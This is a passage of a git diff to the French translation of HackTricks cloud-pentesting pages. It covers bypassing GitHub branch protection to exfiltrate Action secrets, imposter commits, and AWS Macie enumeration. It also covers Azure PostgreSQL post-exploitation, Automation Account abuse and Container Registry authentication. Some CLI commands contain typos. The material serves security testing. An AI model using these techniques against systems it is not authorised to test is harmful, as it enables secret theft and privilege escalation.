**action Github crée votre PR et que vous l'approuviez vous-même**. -- Lorsqu'un **fichier CODEOWNER est mal configuré**, Github ne se plaint pas mais ne l'utilise pas. Par conséquent, s'il est mal configuré, **la protection des propriétaires de code n'est pas appliquée.** +- **Exiger des revues des propriétaires de code** : Si cela est activé et que vous êtes un propriétaire de code, vous pourriez faire en sorte qu'une **Github Action crée votre PR et que vous l'approuviez vous-même**. +- Lorsqu'un **fichier CODEOWNER est mal configuré**, GitHub ne se plaint pas mais ne l'utilise pas. Par conséquent, s'il est mal configuré, la **protection des propriétaires de code n'est pas appliquée.** - **Autoriser des acteurs spécifiés à contourner les exigences de demande de tirage** : Si vous êtes l'un de ces acteurs, vous pouvez contourner les protections de demande de tirage. - **Inclure les administrateurs** : Si cela n'est pas défini et que vous êtes administrateur du dépôt, vous pouvez contourner ces protections de branche. - **Détournement de PR** : Vous pourriez être en mesure de **modifier la PR de quelqu'un d'autre** en ajoutant du code malveillant, en approuvant la PR résultante vous-même et en fusionnant le tout. - **Suppression des protections de branche** : Si vous êtes un **administrateur du dépôt, vous pouvez désactiver les protections**, fusionner votre PR et rétablir les protections. - **Contourner les protections de poussée** : Si un dépôt **n'autorise que certains utilisateurs** à envoyer des poussées (fusionner du code) dans des branches (la protection de branche pourrait protéger toutes les branches en spécifiant le caractère générique `*`). -- Si vous avez **un accès en écriture sur le dépôt mais que vous n'êtes pas autorisé à pousser du code** en raison de la protection de branche, vous pouvez toujours **créer une nouvelle branche** et à l'intérieur, créer une **action github qui est déclenchée lorsque du code est poussé**. Comme la **protection de branche ne protégera pas la branche tant qu'elle n'est pas créée**, ce premier envoi de code vers la branche **exécutera l'action github**. +- Si vous avez **un accès en écriture sur le dépôt mais que vous n'êtes pas autorisé à pousser du code** en raison de la protection de branche, vous pouvez toujours **créer une nouvelle branche** et à l'intérieur, créer une **action GitHub qui est déclenchée lorsque du code est poussé**. Comme la **protection de branche ne protégera pas la branche tant qu'elle n'est pas créée**, ce premier envoi de code vers la branche **exécutera l'action GitHub**. ## Contournement des protections des environnements -Pour une introduction sur [**l'environnement Github, consultez les informations de base**](basic-github-information.md#git-environments). +Pour une introduction sur [**Github Environment, consultez les informations de base**](basic-github-information.md#git-environments). -Dans le cas où un environnement peut être **accessible depuis toutes les branches**, il **n'est pas protégé** et vous pouvez facilement accéder aux secrets à l'intérieur de l'environnement. Notez que vous pourriez trouver des dépôts où **toutes les branches sont protégées** (en spécifiant leurs noms ou en utilisant `*`), dans ce scénario, **trouvez une branche où vous pouvez pousser du code** et vous pouvez **exfiltrer** les secrets en créant une nouvelle action github (ou en en modifiant une). +Dans le cas où un environnement peut être **accessible depuis toutes les branches**, il **n'est pas protégé** et vous pouvez facilement accéder aux secrets à l'intérieur de l'environnement. Notez que vous pourriez trouver des dépôts où **toutes les branches sont protégées** (en spécifiant leurs noms ou en utilisant `*`), dans ce scénario, **trouvez une branche où vous pouvez pousser du code** et vous pouvez **exfiltrer** les secrets en créant une nouvelle action GitHub (ou en en modifiant une). -Notez que vous pourriez trouver le cas limite où **toutes les branches sont protégées** (via le caractère générique `*`), il est spécifié **qui peut pousser du code vers les branches** (_vous pouvez spécifier cela dans la protection de branche_) et **votre utilisateur n'est pas autorisé**. Vous pouvez toujours exécuter une action github personnalisée car vous pouvez créer une branche et utiliser le déclencheur de poussée sur elle-même. La **protection de branche permet la poussée vers une nouvelle branche, donc l'action github sera déclenchée**. +Notez que vous pourriez trouver le cas limite où **toutes les branches sont protégées** (via le caractère générique `*`) il est spécifié **qui peut pousser du code vers les branches** (_vous pouvez spécifier cela dans la protection de branche_) et **votre utilisateur n'est pas autorisé**. Vous pouvez toujours exécuter une action GitHub personnalisée car vous pouvez créer une branche et utiliser le déclencheur de poussée sur elle-même. La **protection de branche permet la poussée vers une nouvelle branche, donc l'action GitHub sera déclenchée**. ```yaml push: # Run it when a push is made to a branch branches: @@ -214,7 +358,7 @@ Notez que **après la création** de la branche, la **protection de la branche s - Créer/modifier **Github Action** avec une **porte dérobée** - Trouver **Github Action vulnérable à l'injection de commandes** via la modification de la valeur **secrète** -### Commits imposteurs - Porte dérobée via des commits de repo +### Commits d'imposteur - Porte dérobée via des commits de repo Dans Github, il est possible de **créer une PR pour un repo à partir d'un fork**. Même si la PR n'est **pas acceptée**, un **commit** id à l'intérieur du repo original sera créé pour la version fork du code. Par conséquent, un attaquant **pourrait épingler l'utilisation d'un commit spécifique d'un repo apparemment légitime qui n'a pas été créé par le propriétaire du repo**. @@ -233,4 +377,12 @@ echo 'hello world!' ``` Pour plus d'informations, consultez [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd) +## Références + +- [Comment nous avons exploité CodeRabbit : d'un simple PR à RCE et accès en écriture sur 1M de dépôts](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/) +- [Extensions Rubocop (require)](https://docs.rubocop.org/rubocop/latest/extensions.html) +- [Authentification avec une application GitHub (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app) +- [Lister les installations pour l'application authentifiée](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app) +- [Créer un jeton d'accès d'installation pour une application](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-macie-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-macie-enum.md index 434d8ed52..01c26559e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-macie-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-macie-enum.md @@ -1,12 +1,74 @@ # Amazon Macie -## Introduction +{{#include ../../../banners/hacktricks-training.md}} -Amazon Macie est un service de sécurité des données qui découvre des données sensibles en utilisant l'apprentissage automatique et la correspondance de motifs, fournit une visibilité sur les risques de sécurité des données et permet une protection automatisée contre ces risques. +## Macie + +Amazon Macie se distingue comme un service conçu pour **détecter, classer et identifier automatiquement les données** au sein d'un compte AWS. Il utilise **l'apprentissage automatique** pour surveiller et analyser en continu les données, se concentrant principalement sur la détection et l'alerte contre des activités inhabituelles ou suspectes en examinant les données des **événements de cloud trail** et les modèles de comportement des utilisateurs. + +Caractéristiques clés d'Amazon Macie : + +1. **Revue active des données** : Utilise l'apprentissage automatique pour examiner activement les données à mesure que diverses actions se produisent au sein du compte AWS. +2. **Détection d'anomalies** : Identifie les activités ou les modèles d'accès irréguliers, générant des alertes pour atténuer les risques potentiels d'exposition des données. +3. **Surveillance continue** : Surveille et détecte automatiquement de nouvelles données dans Amazon S3, utilisant l'apprentissage automatique et l'intelligence artificielle pour s'adapter aux modèles d'accès aux données au fil du temps. +4. **Classification des données avec le NLP** : Utilise le traitement du langage naturel (NLP) pour classer et interpréter différents types de données, attribuant des scores de risque pour prioriser les résultats. +5. **Surveillance de la sécurité** : Identifie les données sensibles sur le plan de la sécurité, y compris les clés API, les clés secrètes et les informations personnelles, aidant à prévenir les fuites de données. + +Amazon Macie est un **service régional** et nécessite le rôle IAM 'AWSMacieServiceCustomerSetupRole' et un AWS CloudTrail activé pour fonctionner. + +### Système d'alerte + +Macie catégorise les alertes en catégories prédéfinies telles que : + +- Accès anonymisé +- Conformité des données +- Perte de crédentiels +- Escalade de privilèges +- Ransomware +- Accès suspect, etc. + +Ces alertes fournissent des descriptions détaillées et des analyses des résultats pour une réponse et une résolution efficaces. + +### Fonctionnalités du tableau de bord + +Le tableau de bord catégorise les données en différentes sections, y compris : + +- Objets S3 (par plage de temps, ACL, PII) +- Événements/utilisateurs CloudTrail à haut risque +- Lieux d'activité +- Types d'identité des utilisateurs CloudTrail, et plus encore. + +### Catégorisation des utilisateurs + +Les utilisateurs sont classés en niveaux en fonction du niveau de risque de leurs appels API : + +- **Platine** : Appels API à haut risque, souvent avec des privilèges d'administrateur. +- **Or** : Appels API liés à l'infrastructure. +- **Argent** : Appels API à risque moyen. +- **Bronze** : Appels API à faible risque. + +### Types d'identité + +Les types d'identité incluent Root, utilisateur IAM, rôle assumé, utilisateur fédéré, compte AWS et service AWS, indiquant la source des demandes. + +### Classification des données + +La classification des données englobe : + +- Type de contenu : Basé sur le type de contenu détecté. +- Extension de fichier : Basé sur l'extension de fichier. +- Thème : Catégorisé par des mots-clés dans les fichiers. +- Regex : Catégorisé en fonction de motifs regex spécifiques. + +Le risque le plus élevé parmi ces catégories détermine le niveau de risque final du fichier. + +### Recherche et analyse + +La fonction de recherche d'Amazon Macie permet des requêtes personnalisées sur toutes les données Macie pour une analyse approfondie. Les filtres incluent les données CloudTrail, les propriétés des buckets S3 et les objets S3. De plus, elle prend en charge l'invitation d'autres comptes à partager Amazon Macie, facilitant la gestion collaborative des données et la surveillance de la sécurité. ## Listing Findings with AWS Console -Après avoir scanné un bucket S3 spécifique à la recherche de secrets et de données sensibles, des résultats seront générés et affichés dans la console. Les utilisateurs autorisés avec des permissions suffisantes peuvent voir et lister ces résultats pour chaque job. +Après avoir scanné un bucket S3 spécifique à la recherche de secrets et de données sensibles, des résultats seront générés et affichés dans la console. Les utilisateurs autorisés avec des permissions suffisantes peuvent voir et lister ces résultats pour chaque tâche. Screenshot 2025-02-10 at 19 08 08 @@ -19,30 +81,62 @@ Amazon Macie fournit une fonctionnalité qui affiche les secrets détectés en f Screenshot 2025-02-10 at 19 15 11 -## Enumeration +### Enumeration ```bash -# List and describe classification jobs -aws macie2 list-classification-jobs --region eu-west-1 -aws macie2 describe-classification-job --job-id --region eu-west-1 +# Get buckets +aws macie2 describe-buckets + +# Org config +aws macie2 describe-organization-configuration + +# Get admin account (if any) +aws macie2 get-administrator-account +aws macie2 list-organization-admin-accounts # Run from the management account of the org + +# Get macie account members (run this from the admin account) +aws macie2 list-members + +# Check if automated sensitive data discovey is enabled +aws macie2 get-automated-discovery-configuration + +# Get findings +aws macie2 list-findings +aws macie2 get-findings --finding-ids +aws macie2 list-findings-filters +aws macie2 get -findings-filters --id + +# Get allow lists +aws macie2 list-allow-lists +aws macie2 get-allow-list --id + +# Get different info +aws macie2 list-classification-jobs +aws macie2 describe-classification-job --job-id +aws macie2 list-classification-scopes +aws macie2 list-custom-data-identifiers +aws macie2 get-custom-data-identifier --id # Retrieve account details and statistics -aws macie2 get-macie-session --region eu-west-1 -aws macie2 get-usage-statistics --region eu-west-1 - -# List and manage Macie members (for organizations) -aws macie2 list-members --region eu-west-1 - -# List findings and get detailed information about specific findings -aws macie2 list-findings --region eu-west-1 -aws macie2 get-findings --finding-id --region eu-west-1 - -# Manage custom data identifiers -aws macie2 list-custom-data-identifiers --region eu-west-1 -aws macie2 get-custom-data-identifier --id --region eu-west-1 - -# List and detail findings filters -aws macie2 list-findings-filters --region eu-west-1 -aws macie2 get-findings-filter --id --region eu-west-1 - +aws macie2 get-macie-session +aws macie2 get-usage-statistic ``` +### Privesc +{{#ref}} +../aws-privilege-escalation/aws-macie-privesc.md +{{#endref}} + +### Post Exploitation + +> [!TIP] +> Du point de vue d'un attaquant, ce service n'est pas conçu pour détecter l'attaquant, mais pour détecter des informations sensibles dans les fichiers stockés. Par conséquent, ce service pourrait **aider un attaquant à trouver des infos sensibles** à l'intérieur des buckets.\ +> Cependant, un attaquant pourrait également être intéressé à le perturber afin d'empêcher la victime de recevoir des alertes et de voler ces infos plus facilement. + +TODO: PRs are welcome! + +## References + +- [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/) + + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md index d42e66594..68a562d0d 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md @@ -3,33 +3,34 @@ {{#include ../../../banners/hacktricks-training.md}} ## PostgreSQL Database Post Exploitation -Pour plus d'informations sur PostgreSQL Database, consultez : +Pour plus d'informations sur la base de données PostgreSQL, consultez : {{#ref}} ../az-services/az-postgresql.md {{#endref}} +### Utiliser l'extension pg_azure_storage pour accéder aux comptes de stockage + +Il est possible d'utiliser l'extension **`pg_azure_storage` pour accéder aux comptes de stockage Azure** depuis un serveur PostgreSQL. Cela utilisera les autorisations de l'identité gérée assignée au serveur pour accéder au compte de stockage. + +Pour plus d'informations, consultez cette technique expliquée dans la section sur l'escalade de privilèges : + +{{#ref}} +../az-privilege-escalation/az-postgresql-privesc.md +{{#endref}} + ### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read` -Avec cette permission, vous pouvez créer de nouvelles bases de données au sein d'une instance de Postgres Flexible Server sur Azure. Bien que cette action ne modifie pas les ressources existantes, la création excessive ou non autorisée de bases de données pourrait entraîner une consommation de ressources ou un potentiel abus du serveur. +Avec cette autorisation, vous pouvez créer de nouvelles bases de données au sein d'une instance de Postgres Flexible Server sur Azure. Bien que cette action elle-même ne modifie pas les ressources existantes, la création excessive ou non autorisée de bases de données pourrait entraîner une consommation de ressources ou un potentiel abus du serveur. ```bash az postgres flexible-server db create \ --server-name \ --resource-group \ --database-name ``` -### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write` - -Avec cette autorisation, vous pouvez initier la création de sauvegardes pour une instance de Postgres Flexible Server sur Azure. Cela permet aux utilisateurs de générer des sauvegardes à la demande, ce qui peut être utile pour préserver des données à des moments spécifiques. -```bash -az postgres flexible-server backup create \ ---name \ ---resource-group ---backup-name -``` ### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read` -Avec cette autorisation, vous pouvez configurer ou mettre à jour les paramètres de Protection Avancée contre les Menaces (ATP) pour une instance de Serveur Flexible Postgres sur Azure. Cela permet d'activer ou de désactiver des fonctionnalités de sécurité conçues pour détecter et répondre à des activités anormales et à des menaces potentielles. +Avec cette autorisation, vous pouvez configurer ou mettre à jour les paramètres de Protection Avancée contre les Menaces (ATP) pour une instance de Postgres Flexible Server sur Azure. Cela permet d'activer ou de désactiver des fonctionnalités de sécurité conçues pour détecter et répondre à des activités anormales et à des menaces potentielles. ```bash az postgres flexible-server threat-protection-policy update \ --name \ @@ -58,7 +59,7 @@ az postgres flexible-server firewall-rule update \ ``` ### `Microsoft.DBforPostgreSQL/flexibleServers/configurations/write` && `Microsoft.DBforPostgreSQL/flexibleServers/configurations/read` -Avec cette autorisation, vous pouvez mettre à jour les paramètres de configuration d'une instance de Postgres Flexible Server sur Azure. Cela permet de personnaliser les paramètres du serveur tels que l'optimisation des performances, les configurations de sécurité ou les paramètres opérationnels. +Avec cette autorisation, vous pouvez mettre à jour les paramètres de configuration d'une instance de Postgres Flexible Server sur Azure. Cela permet de personnaliser des paramètres de serveur tels que l'optimisation des performances, les configurations de sécurité ou les paramètres opérationnels. ```bash az postgres flexible-server parameter set \ --resource-group \ diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md index 86f65fed8..444b32af5 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md +++ b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md @@ -1,10 +1,10 @@ -# Az - Comptes d'automatisation +# Az - Automation Accounts {{#include ../../../banners/hacktricks-training.md}} ## Informations de base -Les comptes d'automatisation Azure sont des services basés sur le cloud dans Microsoft Azure qui aident à **automatiser des tâches** telles que la gestion des ressources, la configuration et les mises à jour à travers Azure et les environnements sur site. Ils fournissent des **Runbooks** (scripts pour l'automatisation qui sont exécutés), des **horaires** et des **groupes de travailleurs hybrides** pour exécuter des **jobs** d'automatisation, permettant l'infrastructure en tant que code (IaC) et l'automatisation des processus pour améliorer l'efficacité et la cohérence dans la gestion des ressources cloud. +Les comptes d'automatisation Azure sont des services basés sur le cloud dans Microsoft Azure qui aident à **automatiser des tâches** telles que la gestion des ressources, la configuration et les mises à jour dans les environnements Azure et sur site. Ils fournissent des **Runbooks** (scripts pour l'automatisation qui sont exécutés), des **horaires** et des **groupes de travailleurs hybrides** pour exécuter des **jobs** d'automatisation, permettant l'infrastructure en tant que code (IaC) et l'automatisation des processus pour améliorer l'efficacité et la cohérence dans la gestion des ressources cloud. ### Paramètres @@ -16,7 +16,7 @@ Les comptes d'automatisation Azure sont des services basés sur le cloud dans Mi ### Runbooks & Jobs -Un Runbook dans Azure Automation est un **script qui exécute des tâches automatiquement** dans votre environnement cloud. Les runbooks peuvent être écrits en PowerShell, Python ou dans des éditeurs graphiques. Ils aident à automatiser des tâches administratives comme la gestion des VM, le patching ou les vérifications de conformité. +Un Runbook dans Azure Automation est un **script qui exécute des tâches automatiquement** dans votre environnement cloud. Les runbooks peuvent être écrits en PowerShell, Python ou éditeurs graphiques. Ils aident à automatiser des tâches administratives comme la gestion des VM, le patching ou les vérifications de conformité. Dans le **code** situé à l'intérieur des **Runbooks** pourrait contenir des **informations sensibles** (comme des identifiants). @@ -33,18 +33,18 @@ Un job contient la **sortie** de l'exécution du **Runbook**. Si vous pouvez **l Il existe 3 principales façons d'exécuter un Runbook : - **Horaires** : Ceux-ci sont utilisés pour **déclencher** des Runbooks à un **moment spécifique** ou à un **intervalle**. -- **Webhooks** : Ce sont des **points de terminaison HTTP** qui peuvent être utilisés pour **déclencher** des Runbooks depuis des **services externes**. Notez que l'URL du webhook **n'est pas visible** après sa création. +- **Webhooks** : Ce sont des **points de terminaison HTTP** qui peuvent être utilisés pour **déclencher** des Runbooks à partir de **services externes**. Notez que l'URL du webhook **n'est pas visible** après sa création. - **Déclenchement manuel** : Vous pouvez **déclencher manuellement** un Runbook depuis le portail Azure et depuis la CLI. ### Contrôle de version Il permet d'importer des Runbooks depuis **Github, Azure Devops (Git) et Azure Devops (TFVC)**. Il est possible d'indiquer de publier les Runbooks du dépôt vers le compte d'automatisation Azure et il est également possible d'indiquer de **synchroniser les modifications du dépôt** vers le compte d'automatisation Azure. -Lorsque la synchronisation est activée, dans le **dépôt Github, un webhook est créé** pour déclencher la synchronisation chaque fois qu'un événement de push se produit. Exemple d'URL de webhook : `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d` +Lorsque la synchronisation est activée, dans le **dépôt Github, un webhook est créé** pour déclencher la synchronisation chaque fois qu'un événement de push se produit. Exemple d'une URL de webhook : `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d` Notez que ces webhooks **ne seront pas visibles** lors de la liste des webhooks dans les runbooks associés au dépôt Github. Notez également qu'il est **impossible de changer l'URL du dépôt** d'un contrôle de version une fois qu'il est créé. -Pour que le contrôle de version configuré fonctionne, le **compte d'automatisation Azure** doit avoir une identité gérée (système ou utilisateur) avec le rôle **`Contributor`**. De plus, pour attribuer une identité gérée utilisateur au compte d'automatisation, il est nécessaire d'indiquer l'ID client de l'identité gérée utilisateur dans la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. +Pour que le contrôle de version configuré fonctionne, le **compte d'automatisation Azure** doit avoir une identité gérée (système ou utilisateur) avec le rôle **`Contributor`**. De plus, pour attribuer une identité gérée utilisateur au compte d'automatisation, il est nécessaire d'indiquer l'ID client de l'ID utilisateur MI dans la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. ### Environnements d'exécution @@ -61,14 +61,14 @@ Cependant, il est également possible de **créer vos propres environnements**, ### Groupes de travailleurs hybrides -Dans Azure Automation, l'environnement d'exécution par défaut pour les runbooks est le **Azure Sandbox**, une plateforme basée sur le cloud gérée par Azure, adaptée aux tâches impliquant des ressources Azure. Cependant, ce sandbox a des limitations, telles que l'accès restreint aux ressources sur site et des contraintes sur le temps d'exécution et l'utilisation des ressources. Pour surmonter ces limitations, des groupes de travailleurs hybrides sont employés. Un groupe de travailleurs hybrides se compose de **un ou plusieurs travailleurs de Runbook hybrides installés sur vos propres machines**, que ce soit sur site, dans d'autres environnements cloud ou des VM Azure. Cette configuration permet aux runbooks de s'exécuter directement sur ces machines, offrant un accès direct aux ressources locales, la capacité d'exécuter des tâches plus longues et plus intensives en ressources, et la flexibilité d'interagir avec des environnements au-delà de la portée immédiate d'Azure. +Dans Azure Automation, l'environnement d'exécution par défaut pour les runbooks est le **bac à sable Azure**, une plateforme basée sur le cloud gérée par Azure, adaptée aux tâches impliquant des ressources Azure. Cependant, ce bac à sable a des limitations, telles qu'un accès restreint aux ressources sur site et des contraintes sur le temps d'exécution et l'utilisation des ressources. Pour surmonter ces limitations, des groupes de travailleurs hybrides sont employés. Un groupe de travailleurs hybrides se compose de **un ou plusieurs travailleurs de Runbook hybrides installés sur vos propres machines**, que ce soit sur site, dans d'autres environnements cloud ou des VM Azure. Cette configuration permet aux runbooks de s'exécuter directement sur ces machines, offrant un accès direct aux ressources locales, la capacité d'exécuter des tâches plus longues et plus intensives en ressources, et la flexibilité d'interagir avec des environnements au-delà de la portée immédiate d'Azure. Lorsqu'un groupe de travailleurs hybrides est créé, il est nécessaire d'indiquer les **identifiants** à utiliser. Il y a 2 options : - **Identifiants par défaut** : Vous n'avez pas besoin de fournir les identifiants et les runbooks seront exécutés à l'intérieur des VM en tant que **Système**. - **Identifiants spécifiques** : Vous devez fournir le nom de l'objet d'identifiants à l'intérieur du compte d'automatisation, qui sera utilisé pour exécuter les **runbooks à l'intérieur des VM**. Par conséquent, dans ce cas, il pourrait être possible de **voler des identifiants valides** pour les VM. -Par conséquent, si vous pouvez choisir d'exécuter un **Runbook** dans un **Travailleur Hybride**, vous exécuterez des **commandes arbitraires** à l'intérieur d'une machine externe en tant que **Système** (technique de pivotement intéressante). +Par conséquent, si vous pouvez choisir d'exécuter un **Runbook** dans un **Travailleur Hybride**, vous exécuterez des **commandes arbitraires** à l'intérieur d'une machine externe en tant que **Système** (technique de pivot intéressante). De plus, si le travailleur hybride s'exécute dans Azure avec d'autres identités gérées attachées, le runbook pourra accéder à **l'identité gérée du runbook et à toutes les identités gérées de la VM depuis le service de métadonnées**. @@ -82,7 +82,7 @@ De plus, si le travailleur hybride s'exécute dans Azure avec d'autres identité Les comptes d'automatisation prennent également en charge la **Configuration d'état (SC)**, qui est une fonctionnalité qui aide à **configurer** et à **maintenir** l'**état** de vos VM. Il est possible de **créer** et **d'appliquer** des configurations DSC à des machines **Windows** et **Linux**. -Du point de vue des attaquants, cela était intéressant car cela permettait d'**exécuter du code PS arbitraire dans toutes les VM configurées**, permettant d'escalader les privilèges vers les identités gérées de ces VM, potentiellement en pivotant vers de nouveaux réseaux... De plus, les configurations pourraient contenir des **informations sensibles**. +Du point de vue des attaquants, cela était intéressant car cela permettait d'**exécuter du code PS arbitraire dans toutes les VM configurées**, permettant d'escalader les privilèges aux identités gérées de ces VM, potentiellement en pivotant vers de nouveaux réseaux... De plus, les configurations pourraient contenir des **informations sensibles**. ## Énumération ```bash @@ -232,6 +232,12 @@ Get-AzAutomationHybridWorkerGroup -AutomationAccountName -R ../az-privilege-escalation/az-automation-accounts-privesc.md {{#endref}} +## Persistance + +{{#ref}} +../az-persistence/az-automation-accounts-persistence.md +{{#endref}} + ## Références - [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview) diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md index 627e8a009..a77dc5112 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md +++ b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md @@ -15,7 +15,7 @@ Voici les **différentes permissions** [selon la documentation](https://learn.mi - Pousser une image - Tirer une image - Supprimer des données d'image -- Modifier des politiques +- Changer les politiques - Signer des images Il existe également des **rôles intégrés** qui peuvent être attribués, et il est également possible de créer des **rôles personnalisés**. @@ -31,7 +31,7 @@ Il existe 4 façons de s'authentifier à un ACR : - **Avec Entra ID** : C'est la **méthode par défaut** pour s'authentifier à un ACR. Elle utilise la commande **`az acr login`** pour s'authentifier à l'ACR. Cette commande va **stocker les identifiants** dans le fichier **`~/.docker/config.json`**. De plus, si vous exécutez cette commande depuis un environnement sans accès à un socket docker comme dans un **cloud shell**, il est possible d'utiliser le drapeau **`--expose-token`** pour obtenir le **token** pour s'authentifier à l'ACR. Ensuite, pour s'authentifier, vous devez utiliser comme nom d'utilisateur `00000000-0000-0000-0000-000000000000` comme : `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` - **Avec un compte administrateur** : L'utilisateur administrateur est désactivé par défaut mais il peut être activé et ensuite il sera possible d'accéder au registre avec le **nom d'utilisateur** et le **mot de passe** du compte administrateur avec des permissions complètes sur le registre. Cela est toujours pris en charge car certains services Azure l'utilisent. Notez que **2 mots de passe** sont créés pour cet utilisateur et les deux sont valides. Vous pouvez l'activer avec `az acr update -n --admin-enabled true`. Notez que le nom d'utilisateur est généralement le nom du registre (et non `admin`). -- **Avec un token** : Il est possible de créer un **token** avec une **`scope map`** (permissions) spécifique pour accéder au registre. Ensuite, il est possible d'utiliser ce nom de token comme nom d'utilisateur et certains des mots de passe générés pour s'authentifier au registre avec `docker login -u -p aregistry-url>` +- **Avec un token** : Il est possible de créer un **token** avec une **`scope map`** (permissions) spécifique pour accéder au registre. Ensuite, il est possible d'utiliser le nom du token comme nom d'utilisateur et n'importe lequel des mots de passe générés pour s'authentifier au registre avec `docker login -u -p ` - **Avec un Service Principal** : Il est possible de créer un **service principal** et d'attribuer un rôle comme **`AcrPull`** pour tirer des images. Ensuite, il sera possible de **se connecter au registre** en utilisant l'appId du SP comme nom d'utilisateur et un secret généré comme mot de passe. Exemple de script provenant de la [documentation](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) pour générer un SP avec accès à un registre : @@ -98,7 +98,7 @@ Cependant, **tasks** peuvent avoir une **identité gérée système et utilisate ### Cache -La fonctionnalité de cache permet de **télécharger des images depuis un dépôt externe** et de stocker les nouvelles versions dans le registre. Cela nécessite d'avoir des **identifiants configurés** en sélectionnant les identifiants d'un Azure Vault. +La fonctionnalité de cache permet de **télécharger des images depuis un dépôt externe** et de stocker les nouvelles versions dans le registre. Cela nécessite d'avoir des **identifiants configurés** en sélectionnant les identifiants depuis un Azure Vault. C'est très intéressant du point de vue d'un attaquant car cela permet de **pivoter vers une plateforme externe** si l'attaquant a suffisamment de permissions pour accéder aux identifiants, **télécharger des images depuis un dépôt externe** et configurer un cache pourrait également être utilisé comme **mécanisme de persistance**. @@ -143,10 +143,16 @@ az acr cache list --registry # Get cache details az acr cache show --name --registry ``` -## Escalade de privilèges & Post-exploitation +## Accès non authentifié {{#ref}} -../az-privilege-escalation/az-automation-accounts-privesc.md +../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md +{{#endref}} + +## Escalade de privilèges & Post exploitation + +{{#ref}} +../az-privilege-escalation/az-container-registry-privesc.md {{#endref}} ## Références diff --git a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md index 9b635ff71..4671aa85b 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md @@ -4,99 +4,175 @@ ## Informations de base -Azure Logic Apps est un service basé sur le cloud fourni par Microsoft Azure qui permet aux développeurs de **créer et d'exécuter des workflows intégrant divers services**, sources de données et applications. Ces workflows sont conçus pour **automatiser les processus métier**, orchestrer des tâches et effectuer des intégrations de données à travers différentes plateformes. +Azure Logic Apps permet aux développeurs de **créer et d'exécuter des workflows qui intègrent divers services**, sources de données et applications. Ces workflows sont conçus pour **automatiser les processus métier**, orchestrer des tâches et effectuer des intégrations de données à travers différentes plateformes. -Logic Apps fournit un concepteur visuel pour créer des workflows avec une **large gamme de connecteurs préconçus**, ce qui facilite la connexion et l'interaction avec divers services, tels qu'Office 365, Dynamics CRM, Salesforce, et bien d'autres. Vous pouvez également créer des connecteurs personnalisés pour vos besoins spécifiques. +Logic Apps fournit un **concepteur visuel** pour créer des workflows avec une **large gamme de connecteurs préconçus**, ce qui facilite la connexion et l'interaction avec divers services : -Lors de la création d'une Logic App, vous devez soit créer, soit lier un compte de stockage externe qui stocke l'état du workflow, l'historique des exécutions et les artefacts. Ce stockage peut être configuré avec des paramètres de diagnostic pour le suivi et peut être sécurisé avec des restrictions d'accès réseau ou intégré dans un réseau virtuel pour contrôler le trafic entrant et sortant. +
https://infiniteblogs.blob.core.windows.net/medias/4de7fba4-1d43-465a-8c12-8da966a2cdb3_Overview.png
